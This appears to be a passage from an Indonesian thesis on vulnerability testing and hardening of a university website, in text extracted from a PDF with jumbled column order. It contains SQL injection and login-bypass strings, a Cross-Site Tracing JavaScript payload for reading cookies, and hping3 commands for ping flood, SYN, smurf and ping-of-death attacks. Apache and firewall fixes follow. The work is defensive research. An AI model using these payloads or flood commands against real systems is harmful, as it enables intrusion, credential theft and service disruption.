4 secara manual. Scanning dilakukan untuk mencari berbagai kemungkinan celah keamanan yang terdapat pada website. METODOLOGI PENELITIAN Penelitian ini merupakan kegiatan analisis vulnerability pada sebuah website perguruan tinggi dan pembuatan software untuk otomatisasi pengecekan vulnerability. Pada penelitian ini digunakan komputer yang berada pada laboratorium jaringan sebagai pengganti server yang sesungguhnya. Metode penelitian yang digunakan terlihat pada Gambar 1. • Penetration Test Setelah proses scanning selesai dilakukan proses penetration test terhadap website setelah berhasil mengetahui kelemahan yang terdapat pada sebuah website. • Fixing Tahap selanjutnya dilakukan perbaikan kelemahan-kelemahan yang muncul pada website. Kelemahan yang diperbaiki meliputi perbaikan konfigurasi pada software. • Testing Proses terakhir dilakukan pengujian terhadap hasil fixing dengan cara mengulang tahapan scanning hingga penetration test. HASIL DAN PEMBAHASAN 1. Reconnaissance Tahapan reconnaissance dilakukan dengan cara melakukan wawancara kepada pihak yang bertanggung jawab untuk menangani website perguruan tinggi. Hasil wawancara tersebut adalah sebagai berikut: • Sistem operasi yang digunakan adalah OpenSuse 10.3. • Web server yang digunakan adalah Apache 2.2.4. Konfigurasi web server yang dilakukan hanya pada konfigurasi virtual host. • DBMS yang digunakan adalah MySQL 5.0.45 dengan konfigurasi standar. • Konfigurasi PHP yang terdapat pada file php.ini tidak mengalami perubahan sesuai dengan konfigurasi default. • Jenis serangan yang pernah terjadi adalah website defacement. Gambar 1 Langkah analisis vulnerability. Dalam melakukan analisis vulnerability, digunakan langkah-langkah sebagai berikut: • Reconnaissance Pada tahapan ini dilakukan wawancara kepada pihak penanggung jawab sistem informasi untuk mengetahui sistem operasi yang digunakan, konfigurasi dari web server dan DBMS serta serangan yang pernah terjadi pada website perguruan tinggi. • Scanning Tahapan selanjutnya dilakukan scanning menggunakan tools maupun 5 2. Scanning Proses scanning yang dilakukan menggunakan beberapa tool yang disajikan pada Tabel 1. Tabel 2 Hasil scanning Nikto, Nessus, dan Wikto yang menunjukan celah XST Tool Hasil Nikto + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST Tabel 1 Tool yang digunakan pada proses scanning Tool Fungsi Nikto Web server scanner vulnerability Wikto Web server vulnerability scanner yang bekerja pada sistem operasi Windows saja. Acunetix XSS vulnerability scanner Web Vulnerability Scanner Nessus web aplication testing, dan penetration testing Scrawlr SQL Injection Scanner Proses scanning dilakukan dengan menggunakan tool yang disebutkan pada Tabel 1 secara berurutan dari tool pertama hingga terakhir. Server yang digunakan pada penelitian kali ini merupakan komputer di lab jaringan. Komputer tersebut disamakan jenis sistem operasinya serta software yang di install sesuai dengan komputer server pada untuk website perguruan tinggi. Hasil tersebut menunjukan aktifnya metode TRACE Wikto /,TRACE / HTTP/1.,generic, TRACE option appears to allow XSS or credential theft Hasil tersebut menunjukan aktifnya metode TRACE yang memungkinkan dilakukan serangan XSS • Informasi tentang tipe dan versi web server muncul. Vulnerability jenis ini sebenarnya tidak terlalu berbahaya, namun informasi yang didapatkan pada tahapan tersebut dapat dipakai oleh hacker untuk menentukan jenis serangan yang akan dilakukan terhadap server target. Celah keamanan tersebut dapat terjadi dikarenakan oleh: • Scanning terhadap XSS vulnerability dilakukan menggunakan tool Nikto, Nessus, Wikto, dan Acunetix Web Vulnerability Scanner. Hasil scanning yang diperoleh dari ketiga tool adalah sebagai berikut: Celah Cross-site Tracing (XST) muncul pada saat melakukan scanning menggunakan Nikto, Nessus, dan Wikto. Hasil dari ketiga tool tersebut ditunjukkan pada Tabel 2. Celah keamanan ini dapat dimanfaatkan oleh hacker untuk memperoleh informasi berharga seperti cookie dan authentication credential dari sebuah website melalui metode TRACE yang didukung oleh web server. Hasil tersebut menunjukan aktifnya metode TRACE yang dapat menyebabkan XST Nessus HTTP TRACE / TRACK Methods Allowed 2.1 Scanning XSS vulnerability • Keterangan Tipe dan versi web server diketahui Tipe dan versi dari web server dapat diketahui dari hasil scanning menggunakan tool Nikto, Nessus, dan Wikto. Hasil scanning dari ketiga tool disajikan pada Tabel 3. Tabel 3 Hasil scanning Nikto, Nessus, dan Wikto yang menunjukkan tipe dan versi web server yang digunakan Tool Hasil Keterangan Nikto Server: Apache/2.2.8 (Linux/SUSE) Nessus Apache Banner Tipe dan versi web server diketahui 6 Linux Distribution Disclosure Wikto ,Directory indexing is enabled /serverstatus,200,apache ,This gives a lot of Apache information • Nessus Web Server Directory Enumeration Web server manual Web server manual ditemukan pada hasil scanning dengan menggunakan Nikto dan Wikto. Hasil dari kedua tool tersebut ditunjukkan pada Tabel 4. Tabel 4 Hasil scanning Nikto, dan Wikto Tool Hasil Keterangan Nikto OSVDB3092: /manual/: Web server Directory yang manual found berisi manual dari web server dapat Wikto / ditemukan manual/,200,gen eric,Web server manual • Directory indexing Directory indexing dari web server dapat diketahui dari hasil scanning menggunakan tool Nikto, Nessus, dan Wikto. Hasil scanning dari ketiga tool disajikan pada Tabel 5. Tabel 5 Hasil scanning Nikto, Nessus, dan Wikto yang menunjukkan adanya directory indexing Tool Hasil Keterangan Nikto + OSVDB3268: /icons/: Directory indexing is enabled: /icons Directory icons yang berisi file default sebuah web server dapat ditemukan Wikto / Directory icons/,200,apache indexing dari • web server di aktifkan sehingga file default web server dapat ditemukan Directory icons yang berisi file default sebuah web server dapat ditemukan Terdapat kode program yang dapat di injeksi dengan script. Injeksi tersebut menggunakan teknik XSS. Scanning dilakukan dengan menggunakan tool Acunetix Web Vulnerability Scanner. Hasil scanning dapat dilihat pada Lampiran 1. 2.2 Scanning SQL Injection vulnerability Scanning terhadap SQL injection dilakukan dengan dua cara, yaitu secara otomatis dan secara manual. 2.2.1 Scanning SQL Injection secara otomatis Scanning secara otomatis dilakukan menggunakan tool Scrawlr dan Nessus. Hasil scanning menggunakan tool ini menunjukkan tidak adanya celah yang memungkinkan dilakukannya serangan SQL injection. 2.2.2 Scanning SQL Injection secara manual Scanning secara manual dilakukan dengan memasukkan perintah sql pada URL di web browser. Perintah sql yang digunakan ditunjukkan pada Tabel 6. Perintah-perintah tersebut digunakan untuk mengetahui celah keamanan pada website yang tidak melakukan pemfilteran terhadap karakter-karakter SQL pada URL. Celah keamanan ini dapat dimanfaatkan hacker untuk mengetahui karakteristik dari database yang digunakan. Selain melakukan langkah-langkah pada Tabel 6, dilakukan juga penerobosan ke dalam halaman admin website menggunakan 7 teknik sql injection. Penerobosan dilakukan dengan memasukkan karakterkarakter pada Tabel 7. Karakter tersebut dimasukkan pada kotak isian username dan password yang terdapat pada halaman login administrator. kode program. Cara kerja kode program ini adalah menambahkan backslash (\) pada karakter single quote (') dan double qoute ("). Penambahan karakter backslash (\) sebelum karakter quote akan membuat string ' or 1=1-- akan tetap di proses ' or Tabel 6 String yang dimasukkan pada web browser guna mengetahui celah SQL Injection pada website String Efek Hasil Pengujian http://target/index.php?id=1 order by 10/* memunculkan halaman yang benar jika Halaman website akan terdapat tabel dengan 10 kolom. Jika memunculkan halaman dengan id 1 tidak terdapat tabel dengan 10 kolom halaman yang akan ditampilkan adalah pesan error Unknown column ‘10' in 'order clause' http://target/index.php?id=null union all select 1,user(),3,4,5/* menampilkan database user. Halaman website akan memunculkan halaman eror http://target/index.php?id=null union all select 1,2,database(),4,5/* menampilkan nama dari database. Halaman website akan memunculkan halaman eror http://target/index.php?id=null union all select 1,@@version,@@datadir,4,5/* menampilkan versi dari database yang digunakan (@@version), dan database data direktori (@@datadir) Halaman website akan memunculkan halaman eror http://target/index.php?id=66 AND 1=1-- menampilkan halaman yang benar Halaman website akan memunculkan halaman dengan id 66 http://target/index.php?id=66 AND 1=2-- menampilkan halaman yang error jika terdapat celah sql injection Halaman website akan memunculkan halaman dengan id 66 http://target/index.php? id=1;sleep+delay+'0:0:5';-- membuat load halaman akan di delay selama 5 detik. Halaman website akan memunculkan halaman dengan id 1 dalam waktu yang normal Hasil scanning menggunakan langkahlangkah manual juga tidak menunjukkan adanya celah keamanan yang memungkinkan dilakukannya serangan sql injection. Hal tersebut dikarenakan pada halaman login administrator kotak isian username dan password telah diberi filter escape karakter. Kode program yang digunakan untuk melakukan filter adalah sebagai berikut. $loginUsername=$_POST['username']; $password=$_POST['password']; ................................ $LoginRS__query=sprintf("SELECT username, password, Nama, id_level FROM login WHERE username='%s' AND password=MD5('%s')", get_magic_quotes_gpc() ? $loginUsername : addslashes($loginUsername), get_magic_quotes_gpc() ? $password : addslashes($password)); Kode program untuk memfilter escape karakter di tandai dengan cetak tebal pada 1=1-- query SQL. Hal ini membuat serangan menggunakan teknik SQL Injection tidak bekerja. Filter lain yang diterapkan pada website juga turut melakukan filter terhadap URL. Filter tersebut adalah sebagai berikut. $query_MenuM = "SELECT * FROM menu WHERE parent = '" . mysql_escape_string($parentID)."'"; Kode program tersebut digunakan untuk memfilter parantID yang merupakan ID yang digunakan untuk menuju ke halaman lain yang berada pada website. Hasil lengkap dari scanning yang dilakukan oleh ketiga tool dapat dilihat pada Lampiran 2. 8 Tabel 7 String untuk menerobos halaman admin menggunakan teknik SQL Injection String Makna ' or 1=1-- String ini akan dianggap seperti berikut '' or Tidak berhasil masuk ke halaman 1=1--', hal ini akan menyebabkan nilai nya administrator selalu benar karena logika OR akan bernilai selalu benar jika salah satu nilainya bernilai benar. Hal ini menyebabkan hacker dapat masuk ke halaman admin ' or 1=1# String ini akan dianggap seperti berikut '' or Tidak berhasil masuk ke halaman 1=1#', hal ini akan menyebabkan nilai nya administrator selalu benar karena logika OR akan bernilai selalu benar jika salah satu nilainya bernilai benar. Hal ini menyebabkan hacker dapat masuk ke halaman admin ' or 1=1/* String ini akan dianggap seperti berikut '' or Tidak berhasil masuk ke halaman 1=1/*', hal ini akan menyebabkan nilai nya administrator selalu benar karena logika OR akan bernilai selalu benar jika salah satu nilainya bernilai benar. Hal ini menyebabkan hacker dapat masuk ke halaman admin ' or 1=1 or ''=' String ini akan dianggap seperti berikut '' or Tidak berhasil masuk ke halaman 1=1 or ''='', hal ini akan menyebabkan nilai administrator nya selalu benar karena logika OR akan bernilai selalu benar jika salah satu nilainya bernilai benar. Hal ini menyebabkan hacker dapat masuk ke halaman admin ' or 'a'='a String ini akan dianggap seperti berikut '' or Tidak berhasil masuk ke halaman 'a'='a', hal ini akan menyebabkan nilai nya administrator selalu benar karena logika OR akan bernilai selalu benar jika salah satu nilainya bernilai benar. Hal ini menyebabkan hacker dapat masuk ke halaman admin admin' # String ini akan menghapus statement SQL yang ada setelah tanda #, sehingga hanya terjadi pengecekan pada username saja. Tidak berhasil masuk ke halaman administrator admin'/* String ini akan menghapus statement SQL yang ada setelah tanda /*, sehingga hanya terjadi pengecekan pada username saja. Tidak berhasil masuk ke halaman administrator 3. Penetration Test Tahapan penetration test menindaklanjuti hasil yang diperoleh dari proses scanning. Pada tool Nessus proses scanning dan penetration test dilakukan sekaligus. 3.1 XSS vulnerability • XST Penetration test jenis vulnerability ini dilakukan dengan cara mengirimkan TRACE request kepada web server. TRACE request dikirimkan oleh tool Nessus adalah sebagai berikut: TRACE request : -----------------------------TRACE /Nessus1825069417.html HTTP/1.1 Hasil Pengujian Connection: Close Host: 172.18.78.53 Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Accept: image/gif, image/xxbitmap, image/jpeg, image/pjpeg, image/png, */* Accept-Language: en Accept-Charset: iso-8859-1,*,utf8 Respon yang diperoleh dari web server adalah sebagai berikut: -----------------------------response from the remote server : -----------------------------HTTP/1.1 200 OK Date: Wed, 03 Mar 2010 18:06:31 GMT Server: Apache/2.2.4 (Linux/SUSE) Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: message/http 9 TRACE /Nessus1825069417.html HTTP/1.1 Connection: Keep-Alive Host: 172.18.78.53 Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Accept: image/gif, image/xxbitmap, image/jpeg, image/pjpeg, image/png, */* Accept-Language: en Accept-Charset: iso-8859-1,*,utf8 Respon yang diperoleh menunjukkan bahwa metode TRACE didukung oleh web server target. Untuk mendapatkan cookie dari website dilakukan dengan cara mengeksekusi kode berikut ini di browser : Directory indexing • Directory indexing dapat di-browse dengan cara memasukkan URL http://target/icons/ pada browser. Proses penetration test yang dilakukan hanya mengecek apakah directory dapat di-browse atau tidak. 3.2 Denial of Service Jenis serangan Denial of service yang dilakukan adalah ping flood, syn attack, smurf attack, dan ping of death. Ping flood dapat dilakukan menggunakan tool hping3. Perintah yang digunakan untuk melakukan ping flood adalah sebagai berikut: • hping3 -1 --flood <ip target> <script type=”text/javascript”> function xssDomainTraceRequest(){ var exampleCode = “var xmlHttp = new ActiveXObject(\”Microsoft.XMLHTTP \”)\;xmlHttp.open(\”TRACE\”,\”htt p://target\”,false)\;xmlHttp.send ()\;xmlDoc=xmlHttp.responseText\; alert(xmlDoc)\;”; var target = “http://target”; cExampleCode = encodeURIComponent(exampleCode + ‘;top.close()’); var readyCode = ‘fontsize:expression(execScript(decode URIComponent(“’ + cExampleCode + ‘”)))’; showModalDialog(target, null, readyCode); } Pengujian dampak ping flood terhadap waktu loading halaman website dilakukan dengan skema yang ditunjukkan pada Gambar 2. Pengujian dilakukan menggunakan browser Mozilla Firefox 3.0.16. Gambar 2 Skema pengujian dampak ping flood terhadap waktu loading halaman website. </script> <INPUT TYPE=BUTTON OnClick=”xssDomainTraceRequest()” VALUE=”Show Cookie Information Using TRACE”> Kode tersebut dapat menampilkan cookie dari website target apabila sebelumnya client target pernah melakukan login ke halaman website target. • Web server manual Web server manual dapat di-browse dengan cara memasukkan URL http://target/manual pada browser. Proses penetration test yang dilakukan hanya mengecek apakah web server manual dapat di browse atau tidak. Hasil pengujian terhadap dampak ping flood disajikan pada Tabel 8 dan terlihat pada Gambar 3. Tabel 8 Hasil pengujian dampak ping flood terhadap waktu loading website Lama pengujian (menit) Waktu (detik) Ratarata ulangan ulangan ulangan 1 2 3 10 0,082 0,081 0,092 0,085 20 0,081 0,081 0,091 0,084 30 0,081 0,081 0,091 0,084 10 Waktu Loading (detik) 0,086 0,085 0,085 rata-rata 0,084 0,084 10 20 30 Lama Pengujian (menit) Gambar 3 Efek ping flood terhadap lama waktu loading halaman website. Gambar 5 Skema smurf attack. Hasil pengujian yang ditunjukan pada Tabel 8 menunjukkan adanya peningkatan waktu loading halaman website. Waktu ratarata loading halaman website pada browser Mozilla Firefox 3.0.16 sebelum dilakukan serangan ping flood adalah 0.04 detik. Hal tersebut menunjukkan adanya pengaruh dari serangan ping flood yang dilakukan terhadap server target. • SYN attack dapat dilakukan menggunakan tool hping3. Skema penyerangan menggunakan teknik SYN attack ditunjukkan pada Gambar 4. Perintah yang digunakan untuk melakukan SYN attack adalah sebagai berikut: hping3 -S <ip target> -p <port target> Skema penyerangan menggunakan teknik smurf attack ditunjukkan pada Gambar 5. Serangan ini tidak lagi berpengaruh terhadap sistem operasi OpenSuse 10.3. Hal tersebut dikarenakan sistem operasi yang ada saat ini telah menerapkan aturan RFC 1122 yang menyatakan bahwa ICMP Echo Request yang ditujukan ke alamat IP broadcast atau alamat IP multicast secara diam-diam diabaikan. • Ping of death dapat dilakukan menggunakan tool hping3. Skema penyerangan menggunakan teknik Ping of Death ditunjukkan pada Gambar 6. Perintah yang digunakan untuk melakukan ping of death adalah sebagai berikut: hping3 -1 -X -d 90000 <ip target> Gambar 4 Skema SYN Attack. SYN attack tidak lagi berpengaruh terhadap sistem operasi OpenSuse 10.3. Hal tersebut dikarenakan sistem operasi tersebut telah menerapkan syn cookie. Syn cookie bekerja dengan cara tidak membuat session pada konten switch hingga paket ACK diterima. • Smurf attack dapat dilakukan menggunakan tool hping3. Perintah yang digunakan untuk melakukan smurf attack adalah sebagai berikut: hping3 -1 broadcast> -a <ip target> <ip Gambar 6 ping of death attack. Ping of death saat ini tidak lagi berpengaruh terhadap sistem operasi OpenSuse 10.3 yang digunakan. Hal ini dikarenakan bugs pada sistem operasi telah diperbaiki sejak linux kernel 2.0.x. 11 Perl/v5.8.8 4. Fixing Proses fixing merupakan tahapan memperbaiki konfigurasi server untuk menangani celah keamanan yang ditemukan pada tahapan scanning. Web server type yang muncul pada halaman error dari web server dapat disembunyikan dengan menghilangkan baris perintah yang berada pada file /usr/share/apache2/error/include/botto m.html. Baris script yang perlu dihapus ditandai dengan cetak tebal. 4.1 Fixing XSS • XST XST dapat dicegah dengan menambahkan konfigurasi pada web server untuk menghilangkan metode TRACE. Konfigurasi yang ditambahkan diletakkan pada file /etc/apache2/default-server.conf adalah sebagai berikut: </p> <p> <!--#include virtual="../contact.html.var" --> </p> <h2>Error <!--#echo encoding="none" var="REDIRECT_STATUS" --></h2> <address> <a href="/"><!--#echo var="SERVER_NAME" --></a><br /> <!--#config timefmt="%c" --> <span><!--#echo var="DATE_LOCAL" --><br /> <!--#echo var="SERVER_SOFTWARE" --></span> </address> </body> </html> TraceEnable off Konfigurasi tersebut mempunyai arti meniadakan metode TRACE dari web server. • Web server type and version Web server version dapat dihilangkan dengan cara menambahkan konfigurasi pada file /etc/apache2/httpd.conf. Konfigurasi yang dilakukan dengan menambahkan baris perintah berikut ini. ServerTokens ProductOnly Perintah ServerTokens akan menampilkan server banner sesuai dengan pengaturan yang terdapat pada Tabel 9. Tabel 9 ServerTokens setting Server token setting Server banner header ProductOnly Apache Major Apache/2 Minor Apache/2.2 Minimal Apache/2.2.4 OS Apache/2.2.4 (Linux/Suse) Full Apache/2.2.4 (Linux/Suse) PHP/5.2.4 with Suhosin-Patch mod_python/3.3.1 Python/2.5.1 mod_perl/2.0.3 • Web server manual Web server manual dapat dihilangkan dengan cara menonaktifkan konfigurasi pada file /etc/apache2/conf.d/apache2manual.conf. Berikut merupakan konfigurasi file tersebut. #AliasMatch ^/manual(?:/(?:de|en| es|fr|ja|ko|ru))?(/.*)?$ "/usr/share/apache2/manual$1" #<Directory "/usr/share/apache2/manual"> # Options Indexes # AllowOverride None # Order allow,deny # Allow from all # # # <Files *.html> SetHandler type-map </Files> # SetEnvIf Request_URI ^/manual/(de|en|es|fr|ja|ko|ru)/ prefer-language=$1 # RedirectMatch 301 ^/manual(?:/(de|en|es|fr|ja|ko| ru)){2,}(/.*)?$ /manual/$1$2 #</Directory> 12 Directory indexing dapat dihilangkan dengan cara menonaktifkan konfigurasi pada file /etc/apache2/default-server.conf. Berikut merupakan konfigurasi file tersebut. #Alias /icons/ "/usr/share/apache2/icons/" Waktu Loading (detik) Directory indexing • 0,08 0,08 0,07 0,06 10 Langkah kedua dapat dilakukan dengan menambahkan konfigurasi pada file /etc/sysctl.conf. Konfigurasi tersebut adalah sebagai berikut. ping flood Ping flood dapat diatasi dengan dua cara yaitu memblok paket ICMP Echo Request dan mengabaikan paket ICMP Echo Request yang masuk. Langkah pertama dapat dilakukan dengan menggunakan tool iptables. Aturan iptables untuk memblok paket ICMP Echo Request yang masuk adalah sebagai berikut. Iptables -I INPUT -p icmp --icmptype echo-request -j DROP Penerapan aturan iptables untuk memblok paket ICMP Echo Request yang masuk berhasil untuk mengurangi dampak dari ping flood. Efek dari penerapan aturan iptables terlihat pada Tabel 10 dan Gambar 7. net.ipv4.icmp_echo_ignore_all = 1 Penambahan konfigurasi pada file tersebut akan membuat sistem operasi mengabaikan semua paket ICMP Echo Request yang masuk. Efek dari penerapan konfigurasi ini dapat terlihat pada Tabel 11 dan Gambar 8. Tabel 11 Waktu loading halaman website setelah penambahan konfigurasi pada file /etc/sysctl.conf Lama pengujian ulangan ulangan ulangan 1 2 3 10 0,077 0,057 0,074 0,069 20 0,064 0,070 0,087 0,074 30 0,093 0,060 0,085 0,079 Waktu Loading (detik) (menit) Ratarata Waktu (detik) Ratarata ulangan ulangan ulangan 1 2 3 (menit) Tabel 10 Waktu loading halaman website setelah penerapan aturan iptables Waktu (detik) 30 Gambar 7 Efek penerapan aturan iptables terhadap lama waktu loading halaman website. 4.2 Fixing DoS Lama pengujian 20 Lama Pengujian (menit) #<Directory "/usr/share/apache2/icons"> # Options Indexes MultiViews # AllowOverride None # Order allow,deny # Allow from all #</Directory> • rata-rata 0,07 10 0,068 0,068 0,082 0,072 20 0,060 0,055 0,070 0,062 30 0,065 0,063 0,085 0,071 0,08 0,07 0,07 rata-rata 0,06 0,06 10 20 30 Lama Pengujian (menit) Gambar 8 Efek penambahan aturan pada sysctl.conf terhadap lama waktu loading halaman website. 13 website. Gambar 9 memperlihatkan flow chart algoritme program untuk melakukan otomatisasi vulnerability scanning. Kode program ditulis menggunakan bash. Kode program selengkapnya dapat dilihat pada Lampiran 3. 3 Pengamanan terhadap kemungkinan serangan SQL injection sudah bagus. Hal ini terlihat dengan adanya filter quote karakter pada login form. Selain itu, terdapat filter karakter pada URL. 4 Serangan DoS berupa ping flood berpengaruh terhadap waktu loading halaman website sebesar 53 % lebih lama dari waktu normal. Hal ini dapat menyebabkan server tidak mempu memberikan layanan (Denial of Service) jika terjadi serangan ping flood dalam jumlah yang sangat besar. Sedangkan serangan SYN attack, smurf attack, dan ping of death telah ditangani pada sistem operasi OpenSuse 10.3. Hal tersebut dikarenakan secara default sistem operasi telah mengaktifkan perlindungan terhadap kemungkinan adanya serangan tersebut, serta adanya perbaikan bug dari kernel yang digunakan. Saran Untuk pengembangan penelitian disarankan hal-hal sebagai berikut: Gambar 9 Algoritme program vulnerability scanner. 1 Penelitian tentang cara penanganan ping flood attack secara terdistribusi (DdoS). 2 Analisis tentang adanya celah SQL Injection pada website perguruan tinggi. 3 Pengujian akan adanya celah lain yang mungkin terdapat pada website, seperti Local File Inclusion. KESIMPULAN DAN SARAN DAFTAR PUSTAKA Kesimpulan Berdasarkan hasil penelitian, dapat ditarik kesimpulan sebagai berikut: 1 2 Terdapat celah keamanan XST yang tidak disadari dapat dimanfaatkan hacker untuk melakukan penyerangan terhadap website. Munculnya informasi tentang tipe dan versi web server dapat membantu hacker dalam menentukan jenis serangan yang dilakukan terhadap ini Clarke J. 2009. SQL Injection Attacks and Defense. Burlington: Syngress. Gregory P. 2009. CISSP guide to security Essentials. Boston: Cengage Learning. Hollander Y. 2000. Prevent Website Defacement. Internet Security Advisor November/Desember 2000:2. SAINT. 2008. Integrated Network